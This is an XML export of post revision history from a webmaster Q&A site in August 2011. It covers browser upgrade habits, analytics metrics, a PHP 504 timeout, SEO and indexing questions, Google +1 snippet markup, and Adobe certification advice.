  <row Id="45641" PostHistoryTypeId="2" PostId="18716" RevisionGUID="a2b595af-2405-49eb-b988-707d51a9053f" CreationDate="2011-08-24T19:33:46.673" UserId="9792" Text="Well, I don't know if I count as a &quot;people&quot;, but I've upgraded my IE6 to IE8 multiple times, and&#xD;&#xA;&#xD;&#xA;- a) the Help/About says it's IE8, and&#xD;&#xA;&#xD;&#xA;- b) whenever I go to a site that needs IE8 it says it can't display because I need to upgrade my browser to IE8.&#xD;&#xA;&#xD;&#xA;So needless to say, it reinforces my jaundiced view of upgrades in general." />
  <row Id="45642" PostHistoryTypeId="2" PostId="18717" RevisionGUID="aa400d4f-8e8f-493d-80a4-26193f1dd15d" CreationDate="2011-08-24T19:52:26.257" UserId="9099" Text="When looking at the definition of &quot;unique events&quot;, it states that it is &quot;The total number of unique events for the profile, across all categories.&quot; It is entirely possible that one visitor is triggering more than one event, especially if they are visiting multiple categories. Also, when you compare &quot;visitors&quot; with &quot;visits&quot;, you should keep in mind that &quot;visits&quot; will be recorded only on those pages where the custom variables are being used. &#xD;&#xA;&#xD;&#xA;I'm not sure if your example that you listed above is showing a different category in each row, or if it is the results for one category across multiple days. If each row is a different day, then it would be interesting to see what your numbers are by category to see if the unique events count for each category is the same. If each row is a different category, then it would be interesting to see which &quot;unique events&quot; are being recorded for each category. &#xD;&#xA;&#xD;&#xA;Either way, the bottom line is for you to determine which piece of information is more relevant for you. Since it appears that you want to track information for each category separately, I would believe that using &quot;unique events&quot; would not be the best approach because those numbers seem to represent the events across ALL categories. You could also look at each number separately for different purposes. &#xD;&#xA;&#xD;&#xA;For example, tracking the number of visits for each category will give you an idea as to the amount of traffic going to that category. Tracking the number of events for each category will give you an idea as to how much activity is going on in each category once you get a visitor there. Both approaches are relevants and provide important information. If the number of visits is low, it may be because the category isn't interesting or isn't promoted as well. If the visits are high but the unique events is low, then it could indicate that there isn't much going on in that category once people get there.&#xD;&#xA;&#xD;&#xA;Don't limit yourself to one or the other. Using both in conjunction will give you a more complete picture." />
  <row Id="45643" PostHistoryTypeId="5" PostId="18622" RevisionGUID="35583ded-993d-43c4-a3ba-d8f9184b0762" CreationDate="2011-08-24T21:10:34.097" UserId="-1" Comment="update, question can be closed" Text="Edit from Salty: while I could not figure out what caused the initial problem, it turned out that the problem was not occurring when using a different *web browser*. After restarting the problematic browser instance (it was Firefox, btw) the issue went away completely. I'm still puzzled how a browser could cause a server to throw 504 error.&#xD;&#xA;--------------&#xD;&#xA;&#xD;&#xA;My web application works fine in development environment, but on production server gives off:&#xD;&#xA;&#xD;&#xA;    504 Gateway Time-out&#xD;&#xA;    The server didn't respond in time. &#xD;&#xA;&#xD;&#xA;-----&#xD;&#xA;Edit: I have traced the problem to a `session_start()` call - it never completes and ends in a 504 error above. What could cause this?&#xD;&#xA;-----&#xD;&#xA;&#xD;&#xA;Both servers are running Linux, although of course they are not perfect clones of each other. There are many other php apps running on the same server with no issues, the production server is not overloaded in any way, and hardware wise, the production server is much better in specs than the development one. I checked out php error log and do not see anything other than&#xD;&#xA;&#xD;&#xA;    [22-Aug-2011 09:38:01] PHP Warning:  PHP Startup: Unable to load dynamic library '/usr/lib64/php/modules/pdo_sqlite.so' - /usr/lib64/php/modules/pdo_sqlite.so: undefined symbol: php_pdo_register_driver in Unknown on line 0&#xD;&#xA;&#xD;&#xA;Which is something I see all the time even if it's working fine, and I generally don't care about this error as I'm not using sqlite. &#xD;&#xA;&#xD;&#xA;Where else can I see what's going on and what to do to fix it?" />
  <row Id="45644" PostHistoryTypeId="24" PostId="18622" RevisionGUID="35583ded-993d-43c4-a3ba-d8f9184b0762" CreationDate="2011-08-24T21:10:34.097" Comment="Proposed by 216.8.180.58|ea75bf89-ac8f-48e8-bcfd-a2a3e5dca4fd approved by 1064 edit id of 504" />
  <row Id="45645" PostHistoryTypeId="5" PostId="18622" RevisionGUID="24aa0c10-79cc-4a82-81d8-4205304fbd72" CreationDate="2011-08-24T21:11:45.487" UserId="1064" Comment="deleted 10 characters in body" Text="My web application works fine in development environment, but on production server gives off:&#xD;&#xA;&#xD;&#xA;    504 Gateway Time-out&#xD;&#xA;    The server didn't respond in time. &#xD;&#xA;&#xD;&#xA;-----&#xD;&#xA;Edit: I have traced the problem to a `session_start()` call - it never completes and ends in a 504 error above. What could cause this?&#xD;&#xA;-----&#xD;&#xA;&#xD;&#xA;Both servers are running Linux, although of course they are not perfect clones of each other. There are many other php apps running on the same server with no issues, the production server is not overloaded in any way, and hardware wise, the production server is much better in specs than the development one. I checked out php error log and do not see anything other than&#xD;&#xA;&#xD;&#xA;    [22-Aug-2011 09:38:01] PHP Warning:  PHP Startup: Unable to load dynamic library '/usr/lib64/php/modules/pdo_sqlite.so' - /usr/lib64/php/modules/pdo_sqlite.so: undefined symbol: php_pdo_register_driver in Unknown on line 0&#xD;&#xA;&#xD;&#xA;Which is something I see all the time even if it's working fine, and I generally don't care about this error as I'm not using sqlite. &#xD;&#xA;&#xD;&#xA;Where else can I see what's going on and what to do to fix it?&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;Edit:&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;While I could not figure out what caused the initial problem, it turned out that the problem was not occurring when using a different *web browser*. After restarting the problematic browser instance (it was Firefox, btw) the issue went away completely. I'm still puzzled how a browser could cause a server to throw 504 error.&#xD;&#xA;" />
  <row Id="45646" PostHistoryTypeId="10" PostId="18622" RevisionGUID="9eabb426-fd41-4dd8-96fa-8460baf599ce" CreationDate="2011-08-24T21:12:15.813" UserId="1064" CloseReasonId="7" Text="[{&quot;Id&quot;:1064,&quot;DisplayName&quot;:&quot;danlefree&quot;}]" />
  <row Id="45647" PostHistoryTypeId="2" PostId="18718" RevisionGUID="be942ea1-1b3d-408d-ace9-231662abea56" CreationDate="2011-08-24T21:28:47.593" UserId="9799" Text="Having worked for a company that served government and public sectors, there is a huge number of folks who have computers locked down to the point that they can't even get out of kiosk mode. &#xD;&#xA;&#xD;&#xA;You'd be surprised how long it takes for a software upgrade to get through all the layers of governmental red-tape to get approval for use.  (Or maybe you wouldn't be surprised.)&#xD;&#xA;&#xD;&#xA;Either way, I'd suggest that your target audience aren't likely the ones using a locked down IE6-based browsers on XP.  They probably are the ones with the cutting-edge versions of standards-compliant browsers, so just keep designing for the best browsers.&#xD;&#xA;&#xD;&#xA;Unfortunately, there is usually a single reason (money) why some people have to design for those outdated browsers.  " />
  <row Id="45648" PostHistoryTypeId="25" PostId="18687" RevisionGUID="f7364880-730d-4dcc-9044-30dbb9df70b1" CreationDate="2011-08-24T21:35:13.973" Comment="http://twitter.com/#!/StackWebmasters/status/106479701022871553" />
  <row Id="45649" PostHistoryTypeId="2" PostId="18719" RevisionGUID="e342e3bc-ec63-4874-86a4-f073acd853fc" CreationDate="2011-08-24T22:55:31.253" UserId="3919" Text="FEAR. That just repeats what others have said, but I think we need &#xD;&#xA;that specific word. &#xD;&#xA; &#xD;&#xA;I rarely have an upgrade (of anything: browsers, programs, operating &#xD;&#xA;systems) go completely smoothly. It breaks things that used to work, &#xD;&#xA;and does things you don't want it to do. And, of course, it takes time &#xD;&#xA;to upgrade. &#xD;&#xA; &#xD;&#xA;I recently upgraded to Firefox 5 (after delaying it as long as &#xD;&#xA;possible). Just as I got it figured out and working the way I wanted, &#xD;&#xA;they came out with Firefox 6. So, I'm now trying to make Firefox 6 do &#xD;&#xA;what I want. &#xD;&#xA; &#xD;&#xA;Ultimately, I hate being on the &quot;constant upgrade&quot; cycle. With the &#xD;&#xA;exception of the &quot;Host:&quot; directive (allowing multiples sites on one &#xD;&#xA;IP), I think pretty much every upgrade has been pointless: writing &#xD;&#xA;interactive computer programs in browsers is just wrong. &#xD;&#xA;" />
  <row Id="45650" PostHistoryTypeId="2" PostId="18720" RevisionGUID="77dd6785-a524-4aac-a27c-ab4f85151091" CreationDate="2011-08-24T23:44:03.490" UserId="9808" Text="I have one older computer (a P4) on which I cannot upgrade anymore, but at least I have a newer version of FireFox (never use IE6 for browsing more than getting FF!)&#xD;&#xA;&#xD;&#xA;One other phenomenon not mentioned: hackers use older hacking software that tell you they use Win98 with IE6 (for example.) Although you can ignore those hits, it's not always easy to know whether that's a hacker's bot or a real person...&#xD;&#xA;&#xD;&#xA;" />
  <row Id="45651" PostHistoryTypeId="2" PostId="18721" RevisionGUID="05faa22c-3adf-4e34-924d-5efbb9f1c639" CreationDate="2011-08-24T23:51:44.687" UserId="3214" Text="As mentioned in Nick's answer, the average internet user [doesn't even know what a browser is][1].&#xD;&#xA;&#xD;&#xA;Let's focus on users who actually have the ability to update their browser.  Corporate ie6 users simply can't.  And we already know that Windows XP users will be stuck on IE8 until they decide to buy a new computer or go through the painstaking process of upgraded their OS.&#xD;&#xA;&#xD;&#xA;- Google Chrome users don't even have to think about it.  It happens in the background without them even knowing.&#xD;&#xA;&#xD;&#xA;- Firefox users are usually a little bit more savy but many probably installed Firefox on the advice of a friend who is &quot;in the know&quot;.  These users might notice an update message but most likely dismiss it because they are not sure about it.&#xD;&#xA;&#xD;&#xA;- Microsoft should take some of the blame for IE users not updating.  When IE 8 was released it was not part of the regular &quot;important update&quot; packages users are accustomed to.  When it was added it was not marked as &quot;an important update&quot; until much later.&#xD;&#xA;&#xD;&#xA; IE 9 is just now starting to be marked as a &quot;recommended update&quot; and users are not notified or educated that they should update.&#xD;&#xA;&#xD;&#xA;###Bottom Line:&#xD;&#xA;&#xD;&#xA;The average user is just not aware and if they are they don't really care.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.youtube.com/watch?v=o4MwTvtyrUQ" />
  <row Id="45652" PostHistoryTypeId="17" PostId="18722" RevisionGUID="0ac0fe5d-6f67-4a77-85dc-62a1b71fd87c" CreationDate="2011-08-24T23:55:54.837" UserId="-1" Comment="from http://stackoverflow.com/questions/7183209/does-the-date-that-appears-in-the-search-engine-result-page-affect-the-page-rank" Text="" />
  <row Id="45653" PostHistoryTypeId="17" PostId="18723" RevisionGUID="2ad22b82-8fe6-4346-9247-5a7169db8a5b" CreationDate="2011-08-24T23:55:54.837" UserId="-1" Comment="from http://stackoverflow.com/questions/7183209/does-the-date-that-appears-in-the-search-engine-result-page-affect-the-page-rank" Text="" />
  <row Id="45654" PostHistoryTypeId="2" PostId="18723" RevisionGUID="76c82128-3ba3-4df3-9fbc-8293305e393c" CreationDate="2011-08-24T23:53:53.123" UserId="1253" Text="No, it does not affect rank. You will find plenty of new and old pages ranking well for just about any search query. " />
  <row Id="45655" PostHistoryTypeId="2" PostId="18722" RevisionGUID="97bd4e25-8549-453d-9deb-17a27cbb7723" CreationDate="2011-08-24T22:44:17.390" UserId="2916" Text="question in the title + how do I change the date appearing in the result page?" />
  <row Id="45656" PostHistoryTypeId="1" PostId="18722" RevisionGUID="97bd4e25-8549-453d-9deb-17a27cbb7723" CreationDate="2011-08-24T22:44:17.390" UserId="2916" Text="Does the date that appears in the Search Engine Result Page affect the page rank?" />
  <row Id="45657" PostHistoryTypeId="3" PostId="18722" RevisionGUID="97bd4e25-8549-453d-9deb-17a27cbb7723" CreationDate="2011-08-24T22:44:17.390" UserId="2916" Text="&lt;seo&gt;&lt;seo-friendly&gt;&lt;pagerank&gt;&lt;serps&gt;" />
  <row Id="45658" PostHistoryTypeId="25" PostId="18722" RevisionGUID="d70e5534-1d75-48b3-9e00-79966457def8" CreationDate="2011-08-25T00:35:14.397" Comment="http://twitter.com/#!/StackWebmasters/status/106525002249158657" />
  <row Id="45659" PostHistoryTypeId="2" PostId="18724" RevisionGUID="164b0161-24a1-4218-ab1c-5501f78b16f5" CreationDate="2011-08-25T01:21:50.047" UserId="8359" Text="This is new, it was just posted by Google: [Doing more with +1 button][1]:&#xD;&#xA;&gt; beginning today, we're making it easy for Google+ users to share&#xD;&#xA;&gt; webpages with their circles, directly from the +1 button. Just +1 a&#xD;&#xA;&gt; page as usual and look for the new &quot;Share on Google+&quot; option.&#xD;&#xA;&#xD;&#xA;So how do you do this? Use +Snippets&#xD;&#xA;&gt; When you share content from the +1 button... we automatically include a link, &#xD;&#xA;&gt; an image and a description in the sharebox. We call these &quot;+snippets&quot;&#xD;&#xA;&#xD;&#xA;The real details are here, on the Google Webmaster Central blog: [making the most of improvements to Google +][2].&#xD;&#xA;&gt; The +1 button now lets visitors share links to your pages on Google+.&#xD;&#xA;&#xD;&#xA;Example code containing each of the +Snippet attributes:&#xD;&#xA;&#xD;&#xA;    &lt;body itemscope itemtype=&quot;http://schema.org/Article&quot;&gt; &#xD;&#xA;    &lt;h1 itemprop=&quot;name&quot;&gt;This is the article name&lt;/h1&gt; &#xD;&#xA;    &lt;img itemprop=&quot;image&quot; src=&quot;thumbnail.jpg&quot; /&gt; &#xD;&#xA;    &lt;p itemprop=&quot;description&quot;&gt;This is the description of the article.&lt;/p&gt; &#xD;&#xA;    &lt;/body&gt;&#xD;&#xA;&#xD;&#xA;The article suggests using what it calls [the configuration tool for +snippets][3] There are several input parameters, but the simplest example was&#xD;&#xA;&#xD;&#xA;    &lt;!-- Update your html tag to include the itemscope and itemtype attributes --&gt;&#xD;&#xA;    &lt;html itemscope itemtype=&quot;http://schema.org/Article&quot;&gt;&#xD;&#xA;    &lt;!-- Add the following three tags inside head --&gt;&#xD;&#xA;    &lt;meta itemprop=&quot;name&quot; content=&quot;Title Of Your +1 Content&quot;&gt;&#xD;&#xA;    &lt;meta itemprop=&quot;description&quot; content=&quot;This would be a description of the content your users are +1ing&quot;&gt;&#xD;&#xA;    &lt;meta itemprop=&quot;image&quot; content=&quot;images/cool-image.png&quot;&gt;&#xD;&#xA;&#xD;&#xA;  [1]: http://googleblog.blogspot.com/2011/08/doing-more-with-1-button-more-than-4.html&#xD;&#xA;  [2]: http://googlewebmastercentral.blogspot.com/2011/08/making-most-of-improvements-to-1-button.html &quot;making the most of improvements to Google +&quot;&#xD;&#xA;  [3]: http://www.google.com/webmasters/+1/button/ &quot;configuration tool for Google+ button using +snippets&quot;" />
  <row Id="45660" PostHistoryTypeId="6" PostId="9872" RevisionGUID="23cd44a6-aa8a-49d5-8715-01e13e2084c0" CreationDate="2011-08-25T01:23:21.777" UserId="8359" Comment="Added a tag" Text="&lt;blog&gt;&lt;server&gt;&lt;webserver&gt;&lt;comments&gt;" />
  <row Id="45661" PostHistoryTypeId="24" PostId="9872" RevisionGUID="23cd44a6-aa8a-49d5-8715-01e13e2084c0" CreationDate="2011-08-25T01:23:21.777" Comment="Proposed by 8359 approved by 108 edit id of 505" />
  <row Id="45662" PostHistoryTypeId="6" PostId="18466" RevisionGUID="3a11db05-8e3f-450c-b64a-b81229c81454" CreationDate="2011-08-25T01:35:31.467" UserId="8359" Comment="Added a tag" Text="&lt;google&gt;&lt;google-plus-one&gt;" />
  <row Id="45663" PostHistoryTypeId="24" PostId="18466" RevisionGUID="3a11db05-8e3f-450c-b64a-b81229c81454" CreationDate="2011-08-25T01:35:31.467" Comment="Proposed by 8359 approved by 1064 edit id of 506" />
  <row Id="45664" PostHistoryTypeId="17" PostId="18725" RevisionGUID="5bd22c4a-f2f0-4b7b-97e9-2a6a58f33dd4" CreationDate="2011-08-25T02:00:02.787" UserId="-1" Comment="from http://stackoverflow.com/questions/7184284/my-site-is-indexed-in-google-yet-does-not-show-in-the-serps-wtf" Text="" />
  <row Id="45665" PostHistoryTypeId="2" PostId="18725" RevisionGUID="49abbd50-6572-4474-bc5c-d9c69ba14b85" CreationDate="2011-08-25T01:51:50.607" UserDisplayName="dg20" Text="Please someone solve this mystery that has been plaguing me for months! All pages have been cached by Google recently yet still will not show up in a search. I'm guessing it's being penalized? How would I know/find out?&#xD;&#xA;&#xD;&#xA;Index page &amp; Web Design page both show up:&lt;br&gt;&#xD;&#xA;&lt;a href=&quot;http://infin80.com&quot;&gt;http://infin80.com&lt;/a&gt;&lt;br&gt;&#xD;&#xA;&lt;a href=&quot;http://infin80.com/web-design/las-vegas-web-design.php&quot;&gt;http://infin80.com/web-design/las-vegas-web-design.php&lt;/a&gt;&lt;br&gt;&#xD;&#xA;&#xD;&#xA;These 2 pages can not be found unless you put in &quot;site:infin80.com&quot; into Google:&lt;br&gt;&#xD;&#xA;http://infin80.com/logo-design/las-vegas-logos.php&lt;br&gt;&#xD;&#xA;http://infin80.com/print-design/las-vegas-graphic-design.php&lt;br&gt;&#xD;&#xA;&#xD;&#xA;I test it by quoting any line of text directly into Google such as the 1st line of copy on the logo page &quot;Creating a small business brand is every bit as important for your small&quot; and always get &quot;No results found for...&quot;&lt;br&gt;&#xD;&#xA;&#xD;&#xA;If anyone has any ideas I'd be greatly appreciative. Thank you in advance." />
  <row Id="45666" PostHistoryTypeId="1" PostId="18725" RevisionGUID="49abbd50-6572-4474-bc5c-d9c69ba14b85" CreationDate="2011-08-25T01:51:50.607" UserDisplayName="dg20" Text="My site is indexed in Google yet does not show in the SERPs. Wtf?" />
  <row Id="45667" PostHistoryTypeId="3" PostId="18725" RevisionGUID="49abbd50-6572-4474-bc5c-d9c69ba14b85" CreationDate="2011-08-25T01:51:50.607" UserDisplayName="dg20" Text="&lt;google&gt;&lt;indexing&gt;&lt;search-engines&gt;&lt;serps&gt;" />
  <row Id="45668" PostHistoryTypeId="5" PostId="8773" RevisionGUID="09f7180c-4f34-4479-b5d8-760cc69f1c1a" CreationDate="2011-08-25T02:08:46.913" UserId="8359" Comment="Added a tag, edited for typo's, format." Text="We all know Google analyzes URLs in order to get relevance. That's why JavaScriptoptimizer.com hits the first place for the &quot;javascript optimizer&quot; query. &#xD;&#xA;&#xD;&#xA;This is my question:&#xD;&#xA;Does Google differentiate between keyword.com and keyword.info? &#xD;&#xA;&#xD;&#xA;Also does a .info website get few point less points? &#xD;&#xA;&#xD;&#xA;thanks." />
  <row Id="45669" PostHistoryTypeId="6" PostId="8773" RevisionGUID="09f7180c-4f34-4479-b5d8-760cc69f1c1a" CreationDate="2011-08-25T02:08:46.913" UserId="8359" Comment="Added a tag, edited for typo's, format." Text="&lt;google-analytics&gt;&lt;url&gt;" />
  <row Id="45670" PostHistoryTypeId="24" PostId="8773" RevisionGUID="09f7180c-4f34-4479-b5d8-760cc69f1c1a" CreationDate="2011-08-25T02:08:46.913" Comment="Proposed by 8359 approved by 108 edit id of 507" />
  <row Id="45671" PostHistoryTypeId="2" PostId="18726" RevisionGUID="d76181d7-5002-4def-96a7-8b6d28059962" CreationDate="2011-08-25T02:21:27.480" UserId="5806" Text="**Look in the Google Webmaster Tools.** You will find plenty of information there including a tool to check how your pages are seen by the Googlebot.&#xD;&#xA;&#xD;&#xA;Possibilities:&#xD;&#xA;&#xD;&#xA;- robots.txt may be blocking indexing of those pages. You will see if this is the case under Crawl Errors.&#xD;&#xA;- Googlebot is not seeing the content. You can test this by giving an exact URL see what the bot sees.&#xD;&#xA;- That page has not been found due to lack of links, confusing links, etc. You can submit a sitemap through the Webmaster Tools to help the Googlebot.&#xD;&#xA;" />
  <row Id="45672" PostHistoryTypeId="25" PostId="18704" RevisionGUID="8790e12f-334c-4cc2-a06e-31ed23aa75df" CreationDate="2011-08-25T03:35:15.443" Comment="http://twitter.com/#!/StackWebmasters/status/106570305731952640" />
  <row Id="45673" PostHistoryTypeId="5" PostId="8773" RevisionGUID="882acc98-20b7-456d-bef9-020d85976aa8" CreationDate="2011-08-25T03:40:56.293" UserId="1253" Comment="modified tags, minor text edits" Text="We all know Google analyzes URLs in order to get relevance. That's why JavaScriptoptimizer.com hits the first place for the &quot;javascript optimizer&quot; query. &#xD;&#xA;&#xD;&#xA;These are my questions:&#xD;&#xA;&#xD;&#xA;1. Does Google differentiate between keyword.com and keyword.info? &#xD;&#xA;&#xD;&#xA;2. Also does a .info website get few point less points? &#xD;&#xA;" />
  <row Id="45674" PostHistoryTypeId="6" PostId="8773" RevisionGUID="882acc98-20b7-456d-bef9-020d85976aa8" CreationDate="2011-08-25T03:40:56.293" UserId="1253" Comment="modified tags, minor text edits" Text="&lt;seo&gt;&lt;google&gt;&lt;url&gt;&lt;keywords&gt;&lt;tld&gt;" />
  <row Id="45675" PostHistoryTypeId="5" PostId="18725" RevisionGUID="9adc5043-b985-4f3d-b3dc-ee9a31010341" CreationDate="2011-08-25T03:41:27.213" UserId="1253" Comment="minor text edits" Text="Please someone solve this mystery that has been plaguing me for months! All pages have been cached by Google recently yet still will not show up in a search. I'm guessing it's being penalized? How would I know/find out?&#xD;&#xA;&#xD;&#xA;Index page &amp; Web Design page both show up:&lt;br&gt;&#xD;&#xA;&lt;a href=&quot;http://infin80.com&quot;&gt;http://infin80.com&lt;/a&gt;&lt;br&gt;&#xD;&#xA;&lt;a href=&quot;http://infin80.com/web-design/las-vegas-web-design.php&quot;&gt;http://infin80.com/web-design/las-vegas-web-design.php&lt;/a&gt;&lt;br&gt;&#xD;&#xA;&#xD;&#xA;These 2 pages can not be found unless you put in &quot;site:infin80.com&quot; into Google:&lt;br&gt;&#xD;&#xA;http://infin80.com/logo-design/las-vegas-logos.php&lt;br&gt;&#xD;&#xA;http://infin80.com/print-design/las-vegas-graphic-design.php&lt;br&gt;&#xD;&#xA;&#xD;&#xA;I test it by quoting any line of text directly into Google such as the 1st line of copy on the logo page &quot;Creating a small business brand is every bit as important for your small&quot; and always get &quot;No results found for...&quot;&lt;br&gt;" />
  <row Id="45676" PostHistoryTypeId="4" PostId="18725" RevisionGUID="9adc5043-b985-4f3d-b3dc-ee9a31010341" CreationDate="2011-08-25T03:41:27.213" UserId="1253" Comment="minor text edits" Text="My site is indexed in Google yet does not show in the SERPs" />
  <row Id="45677" PostHistoryTypeId="2" PostId="18727" RevisionGUID="4bd275e3-d831-49ac-8cc7-98c9e62226f0" CreationDate="2011-08-25T04:06:14.680" UserId="1253" Text="One thing to be considered is Google simply does not consider those pages to be worthy of a good ranking. They may be considered low quality and rank poorly or not ranked at all as a result." />
  <row Id="45678" PostHistoryTypeId="2" PostId="18728" RevisionGUID="ddbbe12a-b592-4dc3-a36b-ae8474a3c933" CreationDate="2011-08-25T05:20:35.103" UserId="9813" Text="I want to buy a 1 year old site which my friend had initially created with duplicate content. In the later months he removed all such material and placed original stuff. Now it is in top charts in Google. But it is completely skipped by Yahoo and Bing.&#xD;&#xA;&#xD;&#xA;Will it ever be able to come back in Yahoo and Bing given both give exactly same search results.&#xD;&#xA;" />
  <row Id="45679" PostHistoryTypeId="1" PostId="18728" RevisionGUID="ddbbe12a-b592-4dc3-a36b-ae8474a3c933" CreationDate="2011-08-25T05:20:35.103" UserId="9813" Text="Duplicate content site skipped in Yahoo and Bing" />
  <row Id="45680" PostHistoryTypeId="3" PostId="18728" RevisionGUID="ddbbe12a-b592-4dc3-a36b-ae8474a3c933" CreationDate="2011-08-25T05:20:35.103" UserId="9813" Text="&lt;seo&gt;&lt;content&gt;&lt;bing&gt;" />
  <row Id="45682" PostHistoryTypeId="25" PostId="18698" RevisionGUID="282e0a3b-1f19-4ef8-8f4e-22ee05baeecb" CreationDate="2011-08-25T06:35:15.867" Comment="http://twitter.com/#!/StackWebmasters/status/106615607000178688" />
  <row Id="45683" PostHistoryTypeId="2" PostId="18730" RevisionGUID="abc9ed6b-732f-4747-9a1a-ca833dfd5f07" CreationDate="2011-08-25T06:40:33.063" UserId="9557" Text="What are some way to optimize a Blogger blogspot for SEO? I have looked at several other articles, but they were old, so the tactics used won't work with the newer Blogger." />
  <row Id="45684" PostHistoryTypeId="1" PostId="18730" RevisionGUID="abc9ed6b-732f-4747-9a1a-ca833dfd5f07" CreationDate="2011-08-25T06:40:33.063" UserId="9557" Text="SEO optimizing Blogger blogspots" />
  <row Id="45685" PostHistoryTypeId="3" PostId="18730" RevisionGUID="abc9ed6b-732f-4747-9a1a-ca833dfd5f07" CreationDate="2011-08-25T06:40:33.063" UserId="9557" Text="&lt;seo&gt;&lt;blog&gt;&lt;blogger&gt;" />
  <row Id="45686" PostHistoryTypeId="2" PostId="18731" RevisionGUID="229276df-387f-4657-94ed-e176a505e9d1" CreationDate="2011-08-25T06:42:49.053" UserId="9818" Text="Try one of these:&#xD;&#xA;&#xD;&#xA;hosting24.com&#xD;&#xA;joyent.com&#xD;&#xA;" />
  <row Id="45687" PostHistoryTypeId="2" PostId="18732" RevisionGUID="2ba528b7-825f-406c-874b-139bd92ce17a" CreationDate="2011-08-25T06:54:48.817" UserId="6441" Text="I'm developing forum/blog hosting software. I'd like [the forum/blog owners&#xD;&#xA;that'll be using my service] to be able to layout and style their own pages, e.g. make their own forum/blog &quot;landing page&quot;, or about page, or page listing the hottest forum threads.&#xD;&#xA;&#xD;&#xA;I figure I could either build some graphical HTML design tool, which allows&#xD;&#xA;forum/blog owners to visually drag-and-drop page components to construct pages.&#xD;&#xA;Reminiscent of e.g. drag-and-drop-website-builder `http://www.weebly.com/`, or&#xD;&#xA;`http://snappages.com/` or `http://doodlekit.com/`.&#xD;&#xA;&#xD;&#xA;Or I could provide a [template language][1], so forum/blog owners could write&#xD;&#xA;their own CSS and HTML in that template language.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;- The template language approach seems terribly much easier than the&#xD;&#xA;  graphical design tool approach, and more&#xD;&#xA;  powerful for those who understands HTML — but terribly hard for those who&#xD;&#xA;  don't?&#xD;&#xA;&#xD;&#xA;- I could use a JavaScript template language, so the forum/blog owners can&#xD;&#xA;  design their templates client side with immediate feedback (no server&#xD;&#xA;  roundtrips). Server side, I could use Rhino (a Java implementation of&#xD;&#xA;  JavaScript) to render the templates.&#xD;&#xA;&#xD;&#xA;- I want to spend as little time as possible with this templating / design tool&#xD;&#xA;  stuff. It's not particularly related to the Unique Selling Point. But I&#xD;&#xA;  think I need to do something.&#xD;&#xA;&#xD;&#xA;*Questions:*&#xD;&#xA;&#xD;&#xA;1. What do you think I should do? Start with a template system and then later&#xD;&#xA;on consider some user friendly graphical design tools? Or let non-techies&#xD;&#xA;click-and-choose between templates/CSS made available by technically skilled&#xD;&#xA;people?&#xD;&#xA;&#xD;&#xA;2. Other benefits/drawbacks of the template or graphical-design-tool approaches?&#xD;&#xA;&#xD;&#xA;3. Do you have any general comments? E.g. in what manners is all this silly? Or&#xD;&#xA;what should I do differently... or not at all?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Template_engine_%28web%29#Example" />
  <row Id="45688" PostHistoryTypeId="1" PostId="18732" RevisionGUID="2ba528b7-825f-406c-874b-139bd92ce17a" CreationDate="2011-08-25T06:54:48.817" UserId="6441" Text="Letting forum-hosting-software-users design their own forums?" />
  <row Id="45689" PostHistoryTypeId="3" PostId="18732" RevisionGUID="2ba528b7-825f-406c-874b-139bd92ce17a" CreationDate="2011-08-25T06:54:48.817" UserId="6441" Text="&lt;web-hosting&gt;&lt;template&gt;" />
  <row Id="45690" PostHistoryTypeId="2" PostId="18733" RevisionGUID="cb319df9-4d2d-4614-b4cf-930664c996df" CreationDate="2011-08-25T07:11:57.167" UserId="9495" Text="Where and which is the best way to do adobe certifications - Dreamweaver cs5 in India?&#xD;&#xA;&#xD;&#xA;Also, does it have weightage in getting a job?" />
  <row Id="45691" PostHistoryTypeId="1" PostId="18733" RevisionGUID="cb319df9-4d2d-4614-b4cf-930664c996df" CreationDate="2011-08-25T07:11:57.167" UserId="9495" Text="Where and which is the best way to do adobe certifications - Dreamweaver cs5 in India?" />
  <row Id="45692" PostHistoryTypeId="3" PostId="18733" RevisionGUID="cb319df9-4d2d-4614-b4cf-930664c996df" CreationDate="2011-08-25T07:11:57.167" UserId="9495" Text="&lt;web-development&gt;&lt;website-design&gt;" />
  <row Id="45693" PostHistoryTypeId="2" PostId="18734" RevisionGUID="c478d764-72db-44d9-b105-6ad177385f9e" CreationDate="2011-08-25T07:26:13.710" UserId="9495" Text="I am done with html and css, NOW, what tools should I start with?&#xD;&#xA;&#xD;&#xA;Shall I start with &#xD;&#xA;&#xD;&#xA;Adobe CS3&#xD;&#xA;&#xD;&#xA;OR&#xD;&#xA;&#xD;&#xA;Adobe CS4&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;OR&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Adobe CS5&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Please let know. I am just confused.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Thanks :)&#xD;&#xA;" />
  <row Id="45694" PostHistoryTypeId="1" PostId="18734" RevisionGUID="c478d764-72db-44d9-b105-6ad177385f9e" CreationDate="2011-08-25T07:26:13.710" UserId="9495" Text="I am done with html and css, NOW, what tools should I start with?" />
  <row Id="45695" PostHistoryTypeId="3" PostId="18734" RevisionGUID="c478d764-72db-44d9-b105-6ad177385f9e" CreationDate="2011-08-25T07:26:13.710" UserId="9495" Text="&lt;html&gt;&lt;css&gt;&lt;web-development&gt;&lt;website-design&gt;&lt;html5&gt;" />
  <row Id="45697" PostHistoryTypeId="2" PostId="18735" RevisionGUID="30508065-1470-4d53-a1c2-ea0134fb1bc4" CreationDate="2011-08-25T08:58:44.710" UserId="7198" Text="You can search for Adobe Certified Expert (ACE) training and test centers near you on the Pearson VUE website: http://www.pearsonvue.com/adobe/locate/&#xD;&#xA;&#xD;&#xA;&gt; Also, does it have weightage in getting a job?&#xD;&#xA;&#xD;&#xA;A certificate in Dreamweaver tells a potential employer that you know how to use Dreamweaver. But there's more to Web development than knowing how to use software. A strong portfolio of design and development work is likely to carry more weight than a software certification, in my view.&#xD;&#xA;&#xD;&#xA;Also consider that not all Web studios use Dreamweaver, and that some may prefer candidates who can demonstrate an ability to code using a simple text editor, without depending on a WYSIWYG development environment like Dreamweaver." />
